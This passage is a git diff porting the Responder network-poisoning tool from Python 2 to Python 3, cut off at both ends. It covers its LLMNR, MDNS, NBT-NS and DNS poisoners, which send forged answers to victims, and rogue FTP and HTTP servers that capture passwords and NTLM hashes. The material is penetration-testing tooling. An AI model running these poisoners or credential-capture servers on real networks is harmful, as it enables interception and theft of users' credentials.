str(self.fields["NTLMSSPSignature"])+str(self.fields["NTLMSSPSignatureNull"])+str(self.fields["NTLMSSPMessageType"])+str(self.fields["NTLMSSPNtWorkstationLen"])+str(self.fields["NTLMSSPNtWorkstationMaxLen"])+str(self.fields["NTLMSSPNtWorkstationBuffOffset"])+str(self.fields["NTLMSSPNtNegotiateFlags"])+str(self.fields["NTLMSSPNtServerChallenge"])+str(self.fields["NTLMSSPNtReserved"])+str(self.fields["NTLMSSPNtTargetInfoLen"])+str(self.fields["NTLMSSPNtTargetInfoMaxLen"])+str(self.fields["NTLMSSPNtTargetInfoBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"]) @@ -1572,22 +1586,22 @@ class SMB2Session1Data(Packet): CalculateLenAvpairs = str(self.fields["NTLMSSPNTLMChallengeAVPairsId"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsLen"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs2Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs3Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs5Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs7Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs7Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs7UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs6Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs6Len"]) ##### Workstation Offset Calculation: - self.fields["NTLMSSPNtWorkstationBuffOffset"] = struct.pack("h",len(str(self.fields["Data"]))+4)#Data+own header. + self.fields["Length"] = StructWithLenPython2or3(">h",len(str(self.fields["Data"]))+4)#Data+own header. class X224(Packet): fields = OrderedDict([ @@ -1656,7 +1670,7 @@ class X224(Packet): ]) def calculate(self): - self.fields["Length"] = struct.pack(">B",len(str(self.fields["Data"]))+6) + self.fields["Length"] = StructWithLenPython2or3(">B",len(str(self.fields["Data"]))+6) class RDPNEGOAnswer(Packet): @@ -1668,7 +1682,7 @@ class RDPNEGOAnswer(Packet): ]) def calculate(self): - self.fields["Length"] = struct.pack("B", len(NTLMMessageLen)) - self.fields["ASNLen01"] = struct.pack(">B", len(NTLMMessageLen)+3) - self.fields["OpHeadASNIDLen"] = struct.pack(">B", len(NTLMMessageLen)+6) - self.fields["MessageIDASNLen2"] = struct.pack(">B", len(NTLMMessageLen)+9) - self.fields["ParserHeadASNLen1"] = struct.pack(">B", len(NTLMMessageLen)+12) - self.fields["PacketStartASNStr"] = struct.pack(">B", len(NTLMMessageLen)+20) + self.fields["SequenceHeaderLen"] = StructWithLenPython2or3(">B", len(NTLMMessageLen)) + self.fields["ASNLen01"] = StructWithLenPython2or3(">B", len(NTLMMessageLen)+3) + self.fields["OpHeadASNIDLen"] = StructWithLenPython2or3(">B", len(NTLMMessageLen)+6) + self.fields["MessageIDASNLen2"] = StructWithLenPython2or3(">B", len(NTLMMessageLen)+9) + self.fields["ParserHeadASNLen1"] = StructWithLenPython2or3(">B", len(NTLMMessageLen)+12) + self.fields["PacketStartASNStr"] = StructWithLenPython2or3(">B", len(NTLMMessageLen)+20) ##### Workstation Offset Calculation: - self.fields["NTLMSSPNtWorkstationBuffOffset"] = struct.pack(". -import struct -import fingerprint +import fingerprint from packets import LLMNR_Ans -from SocketServer import BaseRequestHandler from utils import * +if (sys.version_info > (3, 0)): + from socketserver import BaseRequestHandler +else: + from SocketServer import BaseRequestHandler + + + def Parse_LLMNR_Name(data): - NameLen = struct.unpack('>B',data[12])[0] - return data[13:13+NameLen] - + import codecs + NameLen = data[12] + if (sys.version_info > (3, 0)): + return data[13:13+NameLen] + else: + NameLen2 = int(codecs.encode(NameLen, 'hex'), 16) + return data[13:13+int(NameLen2)] def IsICMPRedirectPlausible(IP): dnsip = [] - for line in file('/etc/resolv.conf', 'r'): - ip = line.split() - if len(ip) < 2: - continue - elif ip[0] == 'nameserver': - dnsip.extend(ip[1:]) - for x in dnsip: - if x != "127.0.0.1" and IsOnTheSameSubnet(x,IP) is False: - print color("[Analyze mode: ICMP] You can ICMP Redirect on this network.", 5) - print color("[Analyze mode: ICMP] This workstation (%s) is not on the same subnet than the DNS server (%s)." % (IP, x), 5) - print color("[Analyze mode: ICMP] Use `python tools/Icmp-Redirect.py` for more details.", 5) + with open('/etc/resolv.conf', 'r') as file: + for line in file: + ip = line.split() + if len(ip) < 2: + continue + elif ip[0] == 'nameserver': + dnsip.extend(ip[1:]) + for x in dnsip: + if x != "127.0.0.1" and IsOnTheSameSubnet(x,IP) is False: + print(color("[Analyze mode: ICMP] You can ICMP Redirect on this network.", 5)) + print(color("[Analyze mode: ICMP] This workstation (%s) is not on the same subnet than the DNS server (%s)." % (IP, x), 5)) + print(color("[Analyze mode: ICMP] Use `python tools/Icmp-Redirect.py` for more details.", 5)) if settings.Config.AnalyzeMode: IsICMPRedirectPlausible(settings.Config.Bind_To) @@ -47,39 +57,40 @@ if settings.Config.AnalyzeMode: class LLMNR(BaseRequestHandler): # LLMNR Server class def handle(self): - data, soc = self.request - Name = Parse_LLMNR_Name(data) - - # Break out if we don't want to respond to this host - if RespondToThisHost(self.client_address[0], Name) is not True: - return None - - if data[2:4] == "\x00\x00" and Parse_IPV6_Addr(data): - Finger = None - if settings.Config.Finger_On_Off: - Finger = fingerprint.RunSmbFinger((self.client_address[0], 445)) - - if settings.Config.AnalyzeMode: - LineHeader = "[Analyze mode: LLMNR]" - print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1) - SavePoisonersToDb({ - 'Poisoner': 'LLMNR', - 'SentToIp': self.client_address[0], - 'ForName': Name, - 'AnalyzeMode': '1', - }) - else: # Poisoning Mode - Buffer = LLMNR_Ans(Tid=data[0:2], QuestionName=Name, AnswerName=Name) - Buffer.calculate() - soc.sendto(str(Buffer), self.client_address) - LineHeader = "[*] [LLMNR]" - print color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0], Name), 2, 1) - SavePoisonersToDb({ - 'Poisoner': 'LLMNR', - 'SentToIp': self.client_address[0], - 'ForName': Name, - 'AnalyzeMode': '0', - }) - if Finger is not None: - print text("[FINGER] OS Version : %s" % color(Finger[0], 3)) - print text("[FINGER] Client Version : %s" % color(Finger[1], 3)) + try: + data, soc = self.request + Name = Parse_LLMNR_Name(data).decode("latin-1") + # Break out if we don't want to respond to this host + if RespondToThisHost(self.client_address[0], Name) is not True: + return None + if data[2:4] == b'\x00\x00' and Parse_IPV6_Addr(data): + Finger = None + if settings.Config.Finger_On_Off: + Finger = fingerprint.RunSmbFinger((self.client_address[0], 445)) + + if settings.Config.AnalyzeMode: + LineHeader = "[Analyze mode: LLMNR]" + print(color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1)) + SavePoisonersToDb({ + 'Poisoner': 'LLMNR', + 'SentToIp': self.client_address[0], + 'ForName': Name, + 'AnalyzeMode': '1', + }) + else: # Poisoning Mode + Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name) + Buffer1.calculate() + soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address) + LineHeader = "[*] [LLMNR]" + print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0], Name), 2, 1)) + SavePoisonersToDb({ + 'Poisoner': 'LLMNR', + 'SentToIp': self.client_address[0], + 'ForName': Name, + 'AnalyzeMode': '0', + }) + if Finger is not None: + print(text("[FINGER] OS Version : %s" % color(Finger[0], 3))) + print(text("[FINGER] Client Version : %s" % color(Finger[1], 3))) + except: + raise diff --git a/poisoners/MDNS.py b/poisoners/MDNS.py index 6fdc537..dfb80ae 100644 --- a/poisoners/MDNS.py +++ b/poisoners/MDNS.py @@ -15,25 +15,38 @@ # You should have received a copy of the GNU General Public License # along with this program. If not, see . import struct - -from SocketServer import BaseRequestHandler +import sys +if (sys.version_info > (3, 0)): + from socketserver import BaseRequestHandler +else: + from SocketServer import BaseRequestHandler from packets import MDNS_Ans from utils import * def Parse_MDNS_Name(data): try: - data = data[12:] - NameLen = struct.unpack('>B',data[0])[0] - Name = data[1:1+NameLen] - NameLen_ = struct.unpack('>B',data[1+NameLen])[0] - Name_ = data[1+NameLen:1+NameLen+NameLen_+1] - return Name+'.'+Name_ + if (sys.version_info > (3, 0)): + data = data[12:] + NameLen = data[0] + Name = data[1:1+NameLen] + NameLen_ = data[1+NameLen] + Name_ = data[1+NameLen:1+NameLen+NameLen_+1] + FinalName = Name+b'.'+Name_ + return FinalName.decode("latin-1") + else: + data = NetworkRecvBufferPython2or3(data[12:]) + NameLen = struct.unpack('>B',data[0])[0] + Name = data[1:1+NameLen] + NameLen_ = struct.unpack('>B',data[1+NameLen])[0] + Name_ = data[1+NameLen:1+NameLen+NameLen_+1] + return Name+'.'+Name_ + except IndexError: return None def Poisoned_MDNS_Name(data): - data = data[12:] + data = NetworkRecvBufferPython2or3(data[12:]) return data[:len(data)-5] class MDNS(BaseRequestHandler): @@ -50,25 +63,25 @@ class MDNS(BaseRequestHandler): if settings.Config.AnalyzeMode: # Analyze Mode if Parse_IPV6_Addr(data): - print text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0], 3), color(Request_Name, 3))) - SavePoisonersToDb({ - 'Poisoner': 'MDNS', - 'SentToIp': self.client_address[0], - 'ForName': Request_Name, - 'AnalyzeMode': '1', - }) + print(text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0], 3), color(Request_Name, 3)))) + SavePoisonersToDb({ + 'Poisoner': 'MDNS', + 'SentToIp': self.client_address[0], + 'ForName': Request_Name, + 'AnalyzeMode': '1', + }) else: # Poisoning Mode if Parse_IPV6_Addr(data): Poisoned_Name = Poisoned_MDNS_Name(data) Buffer = MDNS_Ans(AnswerName = Poisoned_Name, IP=RespondWithIPAton()) Buffer.calculate() - soc.sendto(str(Buffer), (MADDR, MPORT)) + soc.sendto(NetworkSendBufferPython2or3(Buffer), (MADDR, MPORT)) - print color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1) - SavePoisonersToDb({ - 'Poisoner': 'MDNS', - 'SentToIp': self.client_address[0], - 'ForName': Request_Name, - 'AnalyzeMode': '0', - }) + print(color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1)) + SavePoisonersToDb({ + 'Poisoner': 'MDNS', + 'SentToIp': self.client_address[0], + 'ForName': Request_Name, + 'AnalyzeMode': '0', + }) diff --git a/poisoners/NBTNS.py b/poisoners/NBTNS.py index d500a80..5000e81 100644 --- a/poisoners/NBTNS.py +++ b/poisoners/NBTNS.py @@ -15,22 +15,27 @@ # You should have received a copy of the GNU General Public License # along with this program. If not, see . import fingerprint - +import sys from packets import NBT_Ans -from SocketServer import BaseRequestHandler from utils import * +if (sys.version_info > (3, 0)): + from socketserver import BaseRequestHandler +else: + from SocketServer import BaseRequestHandler + # Define what are we answering to. def Validate_NBT_NS(data): + print("NBT-Service is:", NetworkRecvBufferPython2or3(data[43:46])) if settings.Config.AnalyzeMode: return False - elif NBT_NS_Role(data[43:46]) == "File Server": + elif NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46])) == "File Server": return True elif settings.Config.NBTNSDomain: - if NBT_NS_Role(data[43:46]) == "Domain Controller": + if NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46])) == "Domain Controller": return True elif settings.Config.Wredirect: - if NBT_NS_Role(data[43:46]) == "Workstation/Redirector": + if NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46])) == "Workstation/Redirector": return True return False @@ -40,41 +45,38 @@ class NBTNS(BaseRequestHandler): def handle(self): data, socket = self.request - Name = Decode_Name(data[13:45]) - + Name = Decode_Name(NetworkRecvBufferPython2or3(data[13:45])) # Break out if we don't want to respond to this host if RespondToThisHost(self.client_address[0], Name) is not True: return None - if data[2:4] == "\x01\x10": + if data[2:4] == b'\x01\x10': Finger = None if settings.Config.Finger_On_Off: Finger = fingerprint.RunSmbFinger((self.client_address[0],445)) if settings.Config.AnalyzeMode: # Analyze Mode LineHeader = "[Analyze mode: NBT-NS]" - print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1) - SavePoisonersToDb({ - 'Poisoner': 'NBT-NS', - 'SentToIp': self.client_address[0], - 'ForName': Name, - 'AnalyzeMode': '1', - }) + print(color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1)) + SavePoisonersToDb({ + 'Poisoner': 'NBT-NS', + 'SentToIp': self.client_address[0], + 'ForName': Name, + 'AnalyzeMode': '1', + }) else: # Poisoning Mode - Buffer = NBT_Ans() - Buffer.calculate(data) - socket.sendto(str(Buffer), self.client_address) + Buffer1 = NBT_Ans() + Buffer1.calculate(data) + socket.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address) LineHeader = "[*] [NBT-NS]" - - print color("%s Poisoned answer sent to %s for name %s (service: %s)" % (LineHeader, self.client_address[0], Name, NBT_NS_Role(data[43:46])), 2, 1) - - SavePoisonersToDb({ - 'Poisoner': 'NBT-NS', - 'SentToIp': self.client_address[0], - 'ForName': Name, - 'AnalyzeMode': '0', - }) + print(color("%s Poisoned answer sent to %s for name %s (service: %s)" % (LineHeader, self.client_address[0], Name, NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46]))), 2, 1)) + SavePoisonersToDb({ + 'Poisoner': 'NBT-NS', + 'SentToIp': self.client_address[0], + 'ForName': Name, + 'AnalyzeMode': '0', + }) if Finger is not None: - print text("[FINGER] OS Version : %s" % color(Finger[0], 3)) - print text("[FINGER] Client Version : %s" % color(Finger[1], 3)) + print(text("[FINGER] OS Version : %s" % color(Finger[0], 3))) + print(text("[FINGER] Client Version : %s" % color(Finger[1], 3))) diff --git a/servers/Browser.py b/servers/Browser.py index 0d8a396..782eaf6 100644 --- a/servers/Browser.py +++ b/servers/Browser.py @@ -14,40 +14,43 @@ # # You should have received a copy of the GNU General Public License # along with this program. If not, see . -from packets import SMBHeader, SMBNegoData, SMBSessionData, SMBTreeConnectData, RAPNetServerEnum3Data, SMBTransRAPData -from SocketServer import BaseRequestHandler from utils import * +from packets import SMBHeader, SMBNegoData, SMBSessionData, SMBTreeConnectData, RAPNetServerEnum3Data, SMBTransRAPData +if settings.Config.PY2OR3 is "PY3": + from socketserver import BaseRequestHandler +else: + from SocketServer import BaseRequestHandler import struct def WorkstationFingerPrint(data): return { - "\x04\x00" :"Windows 95", - "\x04\x0A" :"Windows 98", - "\x04\x5A" :"Windows ME", - "\x05\x00" :"Windows 2000", - "\x05\x01" :"Windows XP", - "\x05\x02" :"Windows XP(64-Bit)/Windows 2003", - "\x06\x00" :"Windows Vista/Server 2008", - "\x06\x01" :"Windows 7/Server 2008R2", - "\x06\x02" :"Windows 8/Server 2012", - "\x06\x03" :"Windows 8.1/Server 2012R2", - "\x0A\x00" :"Windows 10/Server 2016", + b"\x04\x00" :"Windows 95", + b"\x04\x0A" :"Windows 98", + b"\x04\x5A" :"Windows ME", + b"\x05\x00" :"Windows 2000", + b"\x05\x01" :"Windows XP", + b"\x05\x02" :"Windows XP(64-Bit)/Windows 2003", + b"\x06\x00" :"Windows Vista/Server 2008", + b"\x06\x01" :"Windows 7/Server 2008R2", + b"\x06\x02" :"Windows 8/Server 2012", + b"\x06\x03" :"Windows 8.1/Server 2012R2", + b"\x0A\x00" :"Windows 10/Server 2016", }.get(data, 'Unknown') def RequestType(data): return { - "\x01": 'Host Announcement', - "\x02": 'Request Announcement', - "\x08": 'Browser Election', - "\x09": 'Get Backup List Request', - "\x0a": 'Get Backup List Response', - "\x0b": 'Become Backup Browser', - "\x0c": 'Domain/Workgroup Announcement', - "\x0d": 'Master Announcement', - "\x0e": 'Reset Browser State Announcement', - "\x0f": 'Local Master Announcement', + b"\x01": 'Host Announcement', + b"\x02": 'Request Announcement', + b"\x08": 'Browser Election', + b"\x09": 'Get Backup List Request', + b"\x0a": 'Get Backup List Response', + b"\x0b": 'Become Backup Browser', + b"\x0c": 'Domain/Workgroup Announcement', + b"\x0d": 'Master Announcement', + b"\x0e": 'Reset Browser State Announcement', + b"\x0f": 'Local Master Announcement', }.get(data, 'Unknown') @@ -55,13 +58,13 @@ def PrintServerName(data, entries): if entries <= 0: return None entrieslen = 26 * entries - chunks, chunk_size = len(data[:entrieslen]), entrieslen/entries + chunks, chunk_size = len(data[:entrieslen]), entrieslen//entries ServerName = [data[i:i+chunk_size] for i in range(0, chunks, chunk_size)] l = [] for x in ServerName: fingerprint = WorkstationFingerPrint(x[16:18]) - name = x[:16].replace('\x00', '') + name = x[:16].strip(b'\x00').decode('latin-1') l.append('%s (%s)' % (name, fingerprint)) return l @@ -70,24 +73,24 @@ def ParsePacket(Payload): PayloadOffset = struct.unpack('i", len(''.join(Packet))) + Packet + Buffer = StructPython2or3('>i', str(Packet))+str(Packet)#struct.pack(">i", len(''.join(Packet))) + Packet - s.send(Buffer) + s.send(NetworkSendBufferPython2or3(Buffer)) data = s.recv(1024) # Session Setup AndX Request, Anonymous. - if data[8:10] == "\x72\x00": + if data[8:10] == b'\x72\x00': Header = SMBHeader(cmd="\x73",mid="\x02\x00") Body = SMBSessionData() Body.calculate() Packet = str(Header)+str(Body) - Buffer = struct.pack(">i", len(''.join(Packet))) + Packet + Buffer = StructPython2or3('>i', str(Packet))+str(Packet) - s.send(Buffer) + s.send(NetworkSendBufferPython2or3(Buffer)) data = s.recv(1024) # Tree Connect IPC$. - if data[8:10] == "\x73\x00": - Header = SMBHeader(cmd="\x75",flag1="\x08", flag2="\x01\x00",uid=data[32:34],mid="\x03\x00") + if data[8:10] == b'\x73\x00': + Header = SMBHeader(cmd="\x75",flag1="\x08", flag2="\x01\x00",uid=data[32:34].decode('latin-1'),mid="\x03\x00") Body = SMBTreeConnectData(Path="\\\\"+Host+"\\IPC$") Body.calculate() Packet = str(Header)+str(Body) - Buffer = struct.pack(">i", len(''.join(Packet))) + Packet + Buffer = StructPython2or3('>i', str(Packet))+str(Packet) - s.send(Buffer) + s.send(NetworkSendBufferPython2or3(Buffer)) data = s.recv(1024) # Rap ServerEnum. - if data[8:10] == "\x75\x00": - Header = SMBHeader(cmd="\x25",flag1="\x08", flag2="\x01\xc8",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x04\x00") + if data[8:10] == b'\x75\x00': + Header = SMBHeader(cmd="\x25",flag1="\x08", flag2="\x01\xc8",uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1'),pid=data[30:32].decode('latin-1'),mid="\x04\x00") Body = SMBTransRAPData(Data=RAPNetServerEnum3Data(ServerType=Type,DetailLevel="\x01\x00",TargetDomain=Domain)) Body.calculate() Packet = str(Header)+str(Body) - Buffer = struct.pack(">i", len(''.join(Packet))) + Packet + Buffer = StructPython2or3('>i', str(Packet))+str(Packet) - s.send(Buffer) + s.send(NetworkSendBufferPython2or3(Buffer)) data = s.recv(64736) # Rap ServerEnum, Get answer and return what we're looking for. - if data[8:10] == "\x25\x00": + if data[8:10] == b'\x25\x00': s.close() return ParsePacket(data) except: @@ -162,8 +165,10 @@ def BecomeBackup(data,Client): Role = NBT_NS_Role(data[45:48]) if settings.Config.AnalyzeMode: - print text("[Analyze mode: Browser] Datagram Request from IP: %s hostname: %s via the: %s wants to become a Local Master Browser Backup on this domain: %s."%(Client, Name,Role,Domain)) - print RAPThisDomain(Client, Domain) + print(text("[Analyze mode: Browser] Datagram Request from IP: %s hostname: %s via the: %s wants to become a Local Master Browser Backup on this domain: %s."%(Client, Name,Role,Domain))) + RAPInfo = RAPThisDomain(Client, Domain) + if RAPInfo is not None: + print(RAPInfo) except: pass @@ -177,8 +182,10 @@ def ParseDatagramNBTNames(data,Client): if Role2 == "Domain Controller" or Role2 == "Browser Election" or Role2 == "Local Master Browser" and settings.Config.AnalyzeMode: - print text('[Analyze mode: Browser] Datagram Request from IP: %s hostname: %s via the: %s to: %s. Service: %s' % (Client, Name, Role1, Domain, Role2)) - print RAPThisDomain(Client, Domain) + print(text('[Analyze mode: Browser] Datagram Request from IP: %s hostname: %s via the: %s to: %s. Service: %s' % (Client, Name, Role1, Domain, Role2))) + RAPInfo = RAPThisDomain(Client, Domain) + if RAPInfo is not None: + print(RAPInfo) except: pass @@ -189,7 +196,7 @@ class Browser(BaseRequestHandler): request, socket = self.request if settings.Config.AnalyzeMode: - ParseDatagramNBTNames(request,self.client_address[0]) + ParseDatagramNBTNames(NetworkRecvBufferPython2or3(request),self.client_address[0]) BecomeBackup(request,self.client_address[0]) BecomeBackup(request,self.client_address[0]) diff --git a/servers/DNS.py b/servers/DNS.py index e4093b8..c9de9c0 100644 --- a/servers/DNS.py +++ b/servers/DNS.py @@ -14,9 +14,12 @@ # # You should have received a copy of the GNU General Public License # along with this program. If not, see . -from packets import DNS_Ans -from SocketServer import BaseRequestHandler from utils import * +from packets import DNS_Ans +if settings.Config.PY2OR3 is "PY3": + from socketserver import BaseRequestHandler +else: + from SocketServer import BaseRequestHandler def ParseDNSType(data): QueryTypeClass = data[len(data)-4:] @@ -34,14 +37,12 @@ class DNS(BaseRequestHandler): try: data, soc = self.request - - if ParseDNSType(data) and settings.Config.AnalyzeMode == False: + if ParseDNSType(NetworkRecvBufferPython2or3(data)) and settings.Config.AnalyzeMode == False: buff = DNS_Ans() - buff.calculate(data) - soc.sendto(str(buff), self.client_address) - - ResolveName = re.sub(r'[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) - print color("[*] [DNS] Poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1) + buff.calculate(NetworkRecvBufferPython2or3(data)) + soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address) + ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) + print(color("[*] [DNS] Poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)) except Exception: pass @@ -55,14 +56,12 @@ class DNSTCP(BaseRequestHandler): try: data = self.request.recv(1024) - - if ParseDNSType(data) and settings.Config.AnalyzeMode is False: + if ParseDNSType(NetworkRecvBufferPython2or3(data)) and settings.Config.AnalyzeMode is False: buff = DNS_Ans() - buff.calculate(data) - self.request.send(str(buff)) - + buff.calculate(NetworkRecvBufferPython2or3(data)) + self.request.send(NetworkSendBufferPython2or3(buff)) ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) - print color("[*] [DNS-TCP] Poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1) + print(color("[*] [DNS-TCP] Poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)) except Exception: pass diff --git a/servers/FTP.py b/servers/FTP.py index d2f50a2..22b8f09 100644 --- a/servers/FTP.py +++ b/servers/FTP.py @@ -15,27 +15,31 @@ # You should have received a copy of the GNU General Public License # along with this program. If not, see . from utils import * -from SocketServer import BaseRequestHandler +if settings.Config.PY2OR3 is "PY3": + from socketserver import BaseRequestHandler +else: + from SocketServer import BaseRequestHandler + from packets import FTPPacket class FTP(BaseRequestHandler): def handle(self): try: - self.request.send(str(FTPPacket())) + self.request.send(NetworkSendBufferPython2or3(FTPPacket())) data = self.request.recv(1024) - if data[0:4] == "USER": - User = data[5:].strip() + if data[0:4] == b'USER': + User = data[5:].strip().decode("latin-1") Packet = FTPPacket(Code="331",Message="User name okay, need password.") - self.request.send(str(Packet)) + self.request.send(NetworkSendBufferPython2or3(Packet)) data = self.request.recv(1024) - if data[0:4] == "PASS": - Pass = data[5:].strip() + if data[0:4] == b'PASS': + Pass = data[5:].strip().decode("latin-1") Packet = FTPPacket(Code="530",Message="User not logged in.") - self.request.send(str(Packet)) + self.request.send(NetworkSendBufferPython2or3(Packet)) data = self.request.recv(1024) SaveToDb({ @@ -49,7 +53,7 @@ class FTP(BaseRequestHandler): else: Packet = FTPPacket(Code="502",Message="Command not implemented.") - self.request.send(str(Packet)) + self.request.send(NetworkSendBufferPython2or3(Packet)) data = self.request.recv(1024) except Exception: diff --git a/servers/HTTP.py b/servers/HTTP.py index 2d553a1..7f18452 100644 --- a/servers/HTTP.py +++ b/servers/HTTP.py @@ -15,10 +15,13 @@ # You should have received a copy of the GNU General Public License # along with this program. If not, see . import struct -from SocketServer import BaseRequestHandler, StreamRequestHandler -from base64 import b64decode +import codecs from utils import * - +if settings.Config.PY2OR3 is "PY3": + from socketserver import BaseRequestHandler, StreamRequestHandler +else: + from SocketServer import BaseRequestHandler, StreamRequestHandler +from base64 import b64decode, b64encode from packets import NTLM_Challenge from packets import IIS_Auth_401_Ans, IIS_Auth_Granted, IIS_NTLM_Challenge_Ans, IIS_Basic_401_Ans,WEBDAV_Options_Answer from packets import WPADScript, ServeExeFile, ServeHtmlFile @@ -28,28 +31,29 @@ from packets import WPADScript, ServeExeFile, ServeHtmlFile def ParseHTTPHash(data, Challenge, client, module): LMhashLen = struct.unpack(' 1 and settings.Config.Verbose: - print text("[HTTP] Cookie : %s " % Cookie) + print(text("[HTTP] Cookie : %s " % Cookie)) return Cookie return False @@ -89,7 +92,7 @@ def GrabHost(data, host): if Host: Host = Host.group(0).replace('Host: ', '') if settings.Config.Verbose: - print text("[HTTP] Host : %s " % color(Host, 3)) + print(text("[HTTP] Host : %s " % color(Host, 3))) return Host return False @@ -99,21 +102,21 @@ def GrabReferer(data, host): if Referer: Referer = Referer.group(0).replace('Referer: ', '') if settings.Config.Verbose: - print text("[HTTP] Referer : %s " % color(Referer, 3)) + print(text("[HTTP] Referer : %s " % color(Referer, 3))) return Referer return False def SpotFirefox(data): UserAgent = re.findall(r'(?<=User-Agent: )[^\r]*', data) if UserAgent: - print text("[HTTP] %s" % color("User-Agent : "+UserAgent[0], 2)) - IsFirefox = re.search('Firefox', UserAgent[0]) - if IsFirefox: - print color("[WARNING]: Mozilla doesn't switch to fail-over proxies (as it should) when one's failing.", 1) - print color("[WARNING]: The current WPAD script will cause disruption on this host. Sending a dummy wpad script (DIRECT connect)", 1) - return True - else: - return False + print(text("[HTTP] %s" % color("User-Agent : "+UserAgent[0], 2))) + IsFirefox = re.search('Firefox', UserAgent[0]) + if IsFirefox: + print(color("[WARNING]: Mozilla doesn't switch to fail-over proxies (as it should) when one's failing.", 1)) + print(color("[WARNING]: The current WPAD script will cause disruption on this host. Sending a dummy wpad script (DIRECT connect)", 1)) + return True + else: + return False def WpadCustom(data, client): Wpad = re.search(r'(/wpad.dat|/*\.pac)', data) @@ -155,7 +158,7 @@ def RespondWithFile(client, filename, dlname=None): Buffer = ServeHtmlFile(Payload = ServeFile(filename)) Buffer.calculate() - print text("[HTTP] Sending file %s to %s" % (filename, client)) + print(text("[HTTP] Sending file %s to %s" % (filename, client))) return str(Buffer) def GrabURL(data, host): @@ -164,13 +167,13 @@ def GrabURL(data, host): POSTDATA = re.findall(r'(?<=\r\n\r\n)[^*]*', data) if GET and settings.Config.Verbose: - print text("[HTTP] GET request from: %-15s URL: %s" % (host, color(''.join(GET), 5))) + print(text("[HTTP] GET request from: %-15s URL: %s" % (host, color(''.join(GET), 5)))) if POST and settings.Config.Verbose: - print text("[HTTP] POST request from: %-15s URL: %s" % (host, color(''.join(POST), 5))) + print(text("[HTTP] POST request from: %-15s URL: %s" % (host, color(''.join(POST), 5)))) if len(''.join(POSTDATA)) > 2: - print text("[HTTP] POST Data: %s" % ''.join(POSTDATA).strip()) + print(text("[HTTP] POST Data: %s" % ''.join(POSTDATA).strip())) # Handle HTTP packet sequence. def PacketSequence(data, client, Challenge): @@ -187,40 +190,40 @@ def PacketSequence(data, client, Challenge): WPAD_Custom = WpadCustom(data, client) # Webdav - if ServeOPTIONS(data): - return ServeOPTIONS(data) + if ServeOPTIONS(data): + return ServeOPTIONS(data) if NTLM_Auth: Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9] - if Packet_NTLM == "\x01": + if Packet_NTLM == b'\x01': GrabURL(data, client) GrabReferer(data, client) GrabHost(data, client) GrabCookie(data, client) - Buffer = NTLM_Challenge(ServerChallenge=Challenge) + Buffer = NTLM_Challenge(ServerChallenge=NetworkRecvBufferPython2or3(Challenge)) Buffer.calculate() - Buffer_Ans = IIS_NTLM_Challenge_Ans() - Buffer_Ans.calculate(str(Buffer)) - return str(Buffer_Ans) + Buffer_Ans = IIS_NTLM_Challenge_Ans(Payload = b64encode(NetworkSendBufferPython2or3(Buffer)).decode('latin-1')) + #Buffer_Ans.calculate(Buffer) + return Buffer_Ans - if Packet_NTLM == "\x03": + if Packet_NTLM == b'\x03': NTLM_Auth = b64decode(''.join(NTLM_Auth)) - if IsWebDAV(data): + if IsWebDAV(data): module = "WebDAV" - else: + else: module = 